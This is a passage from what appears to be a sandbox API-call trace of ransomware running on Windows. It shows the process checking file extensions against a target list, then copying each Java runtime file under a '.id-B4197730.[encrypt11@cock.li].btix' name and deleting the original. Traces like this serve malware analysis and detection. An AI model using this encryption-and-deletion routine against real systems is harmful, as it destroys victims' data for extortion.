Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.248] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.248] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.248] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.248] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0153.617] GetLastError () returned 0x0 [0153.617] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x3d5bf, lpOverlapped=0x0) returned 1 [0153.621] WriteFile (in: hFile=0x354, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x3d5c0, lpOverlapped=0x0) returned 1 [0153.624] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.625] WriteFile (in: hFile=0x354, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xee, lpOverlapped=0x0) returned 1 [0153.625] SetEndOfFile (hFile=0x354) returned 1 [0153.625] CloseHandle (hObject=0x354) returned 1 [0153.625] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.625] SetEndOfFile (hFile=0x3a4) returned 1 [0153.627] CloseHandle (hObject=0x3a4) returned 1 [0153.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0153.875] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1 [0153.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.876] lstrlenW (lpString=".doc") returned 4 [0153.876] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.876] lstrlenW (lpString=".docx") returned 5 [0153.876] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0153.876] lstrlenW (lpString=".pdf") returned 4 [0153.876] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.876] lstrlenW (lpString=".xls") returned 4 [0153.876] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.876] lstrlenW (lpString=".xlsx") returned 5 [0153.878] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0153.878] lstrlenW (lpString=".ppt") returned 4 [0153.878] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.878] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.878] lstrlenW (lpString=".zip") returned 4 [0153.878] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.878] lstrlenW (lpString=".rar") returned 4 [0153.878] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.879] lstrlenW (lpString=".bz2") returned 4 [0153.879] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.879] lstrlenW (lpString=".7z") returned 3 [0153.879] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.879] lstrlenW (lpString=".dbf") returned 4 [0153.879] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.879] lstrlenW (lpString=".1cd") returned 4 [0153.879] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.879] lstrlenW (lpString=".jpg") returned 4 [0153.879] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.879] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.879] lstrlenW (lpString=".doc") returned 4 [0153.879] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.879] lstrlenW (lpString=".docx") returned 5 [0153.879] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0153.880] lstrlenW (lpString=".pdf") returned 4 [0153.880] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.880] lstrlenW (lpString=".xls") returned 4 [0153.880] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.880] lstrlenW (lpString=".xlsx") returned 5 [0153.880] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0153.880] lstrlenW (lpString=".ppt") returned 4 [0153.880] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.880] lstrlenW (lpString=".zip") returned 4 [0153.880] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.880] lstrlenW (lpString=".rar") returned 4 [0153.880] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.880] lstrlenW (lpString=".bz2") returned 4 [0153.880] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.880] lstrlenW (lpString=".7z") returned 3 [0153.881] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.881] lstrlenW (lpString=".dbf") returned 4 [0153.881] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.881] lstrlenW (lpString=".1cd") returned 4 [0153.881] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0153.881] lstrlenW (lpString=".jpg") returned 4 [0153.881] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.881] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0153.881] lstrlenW (lpString="flavormap.properties") returned 20 [0153.881] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.881] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=3928) returned 1 [0153.881] CloseHandle (hObject=0x37c) returned 1 [0153.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0153.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.882] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.882] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.882] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.882] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.882] GetLastError () returned 0x0 [0153.883] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0xf58, lpOverlapped=0x0) returned 1 [0153.884] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf60, lpOverlapped=0x0) returned 1 [0153.885] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.885] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xfc, lpOverlapped=0x0) returned 1 [0153.885] SetEndOfFile (hFile=0x3a4) returned 1 [0153.885] CloseHandle (hObject=0x3a4) returned 1 [0153.885] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.885] SetEndOfFile (hFile=0x37c) returned 1 [0153.887] CloseHandle (hObject=0x37c) returned 1 [0153.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0153.887] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1 [0153.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.888] lstrlenW (lpString=".doc") returned 4 [0153.888] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0153.888] lstrlenW (lpString=".docx") returned 5 [0153.888] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0153.888] lstrlenW (lpString=".pdf") returned 4 [0153.888] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0153.888] lstrlenW (lpString=".xls") returned 4 [0153.888] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0153.888] lstrlenW (lpString=".xlsx") returned 5 [0153.888] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0153.888] lstrlenW (lpString=".ppt") returned 4 [0153.890] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0153.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.890] lstrlenW (lpString=".zip") returned 4 [0153.890] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0153.890] lstrlenW (lpString=".rar") returned 4 [0153.890] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0153.890] lstrlenW (lpString=".bz2") returned 4 [0153.890] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0153.890] lstrlenW (lpString=".7z") returned 3 [0153.890] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0153.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.890] lstrlenW (lpString=".dbf") returned 4 [0153.890] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0153.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.890] lstrlenW (lpString=".1cd") returned 4 [0153.890] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0153.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.890] lstrlenW (lpString=".jpg") returned 4 [0153.891] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0153.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.891] lstrlenW (lpString=".doc") returned 4 [0153.891] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0153.891] lstrlenW (lpString=".docx") returned 5 [0153.891] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0153.891] lstrlenW (lpString=".pdf") returned 4 [0153.891] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0153.891] lstrlenW (lpString=".xls") returned 4 [0153.891] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0153.891] lstrlenW (lpString=".xlsx") returned 5 [0153.891] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0153.891] lstrlenW (lpString=".ppt") returned 4 [0153.891] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0153.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.891] lstrlenW (lpString=".zip") returned 4 [0153.891] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0153.891] lstrlenW (lpString=".rar") returned 4 [0153.891] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0153.891] lstrlenW (lpString=".bz2") returned 4 [0153.891] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0153.891] lstrlenW (lpString=".7z") returned 3 [0153.891] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0153.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.891] lstrlenW (lpString=".dbf") returned 4 [0153.891] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0153.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.891] lstrlenW (lpString=".1cd") returned 4 [0153.892] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0153.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0153.892] lstrlenW (lpString=".jpg") returned 4 [0153.892] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0153.892] lstrcmpiW (lpString1=".bfc", lpString2=".btix") returned -1 [0153.892] lstrlenW (lpString="fontconfig.bfc") returned 14 [0153.892] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.892] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=3770) returned 1 [0153.892] CloseHandle (hObject=0x37c) returned 1 [0153.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0153.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.892] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.893] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.893] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.893] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.894] GetLastError () returned 0x0 [0153.894] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0xeba, lpOverlapped=0x0) returned 1 [0153.895] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec0, lpOverlapped=0x0) returned 1 [0153.896] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.896] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf0, lpOverlapped=0x0) returned 1 [0153.896] SetEndOfFile (hFile=0x3a4) returned 1 [0153.896] CloseHandle (hObject=0x3a4) returned 1 [0153.896] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.896] SetEndOfFile (hFile=0x37c) returned 1 [0153.897] CloseHandle (hObject=0x37c) returned 1 [0153.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0153.897] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1 [0153.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.898] lstrlenW (lpString=".doc") returned 4 [0153.898] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0153.898] lstrlenW (lpString=".docx") returned 5 [0153.898] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0153.898] lstrlenW (lpString=".pdf") returned 4 [0153.898] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0153.898] lstrlenW (lpString=".xls") returned 4 [0153.898] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0153.898] lstrlenW (lpString=".xlsx") returned 5 [0153.898] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0153.898] lstrlenW (lpString=".ppt") returned 4 [0153.898] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0153.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.898] lstrlenW (lpString=".zip") returned 4 [0153.898] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0153.898] lstrlenW (lpString=".rar") returned 4 [0153.898] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0153.898] lstrlenW (lpString=".bz2") returned 4 [0153.898] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0153.898] lstrlenW (lpString=".7z") returned 3 [0153.898] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0153.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.899] lstrlenW (lpString=".dbf") returned 4 [0153.899] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0153.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.899] lstrlenW (lpString=".1cd") returned 4 [0153.899] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0153.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.903] lstrlenW (lpString=".jpg") returned 4 [0153.903] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0153.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.903] lstrlenW (lpString=".doc") returned 4 [0153.903] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0153.903] lstrlenW (lpString=".docx") returned 5 [0153.903] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0153.903] lstrlenW (lpString=".pdf") returned 4 [0153.903] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0153.903] lstrlenW (lpString=".xls") returned 4 [0153.903] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0153.903] lstrlenW (lpString=".xlsx") returned 5 [0153.903] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0153.903] lstrlenW (lpString=".ppt") returned 4 [0153.903] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0153.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.903] lstrlenW (lpString=".zip") returned 4 [0153.903] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0153.903] lstrlenW (lpString=".rar") returned 4 [0153.903] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0153.903] lstrlenW (lpString=".bz2") returned 4 [0153.903] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0153.903] lstrlenW (lpString=".7z") returned 3 [0153.903] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0153.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.903] lstrlenW (lpString=".dbf") returned 4 [0153.903] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0153.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.903] lstrlenW (lpString=".1cd") returned 4 [0153.903] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0153.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0153.904] lstrlenW (lpString=".jpg") returned 4 [0153.904] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0153.904] lstrcmpiW (lpString1=".src", lpString2=".btix") returned 1 [0153.904] lstrlenW (lpString="fontconfig.properties.src") returned 25 [0153.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.904] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=10568) returned 1 [0153.904] CloseHandle (hObject=0x37c) returned 1 [0153.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0153.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.905] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.905] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.905] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.905] GetLastError () returned 0x0 [0153.905] ReadFile (in: 